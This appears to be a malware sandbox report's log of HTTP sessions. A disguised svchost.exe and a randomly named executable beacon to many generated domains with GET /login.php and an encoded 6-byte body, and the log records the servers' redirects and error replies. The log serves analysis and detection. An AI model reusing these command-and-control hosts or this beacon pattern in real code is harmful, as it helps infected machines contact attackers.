                                                                                                                                                                                                          15192.168.2.54972485.17.31.122805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:17.952111959 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          16192.168.2.549725172.234.222.143805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:24.310411930 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          17192.168.2.54972813.248.169.48805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.884602070 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupydeq.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          18192.168.2.549730188.114.96.3805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.906724930 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.454253912 CEST793INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:28 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iod04rfIOdvGJXbdo1dbeUDZror6DvrDt34TtV%2Bo6SajGeDkVtxyYP%2BJXwWc%2F0X8Dqm1ZSNSpceIT3kZkERBom4EX7KooP7R4yUk4F2iiuydAarniPEmWmCIqD%2FBlA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8e518c1d1a0f-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Aug 23, 2024 18:43:00.288718939 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:00.680912018 CEST795INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:00 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g7N1dJaCTWUgm2iPpgCeCLEnBmwPxjAupdhJi0%2BrVrjQCZRSa6NI9SPHray78SReoVaCk0jCQr4%2F%2BGELNexkPQV%2B4AU6BOR32PwKL%2FtGbRCuRkUyzEpalOnCJXmaUw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8f1f1a2b1a0f-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          19192.168.2.54973118.208.156.248805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.004400015 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupycag.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.546565056 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:27 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=2defa10e06435b44928a9b853377cfec|8.46.123.33|1724431347|1724431347|0|1|0; path=/; domain=.pupycag.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          20192.168.2.549733103.150.11.230805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.212459087 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.191149950 CEST403INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:28 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.307038069 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.671279907 CEST403INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          21192.168.2.549736106.15.137.6680015284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.202159882 CEST295OUTGET /dh/147287063_637385.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.137.66:8001
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.305680037 CEST722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.305969000 CEST321INHTTP/1.1 400 Bad Request
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 163
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.21.4.3</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          22192.168.2.549740106.15.137.6680015284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.679687977 CEST295OUTGET /dh/147287063_637385.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.137.66:8001
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.796144009 CEST1043INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:30 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->HTTP/1.1 400 Bad RequestServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:42:30 GMTContent-Type: text/htmlContent-Length: 163Connection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.21.4.3</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          23192.168.2.54974113.248.169.48805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.387193918 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupydeq.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          24192.168.2.5606843.64.163.50804268C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.849085093 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.479645014 CEST689INHTTP/1.1 410 Gone
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:47 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 542
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.546861887 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.735388994 CEST689INHTTP/1.1 410 Gone
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:47 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 542
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d [TRUNCATED]
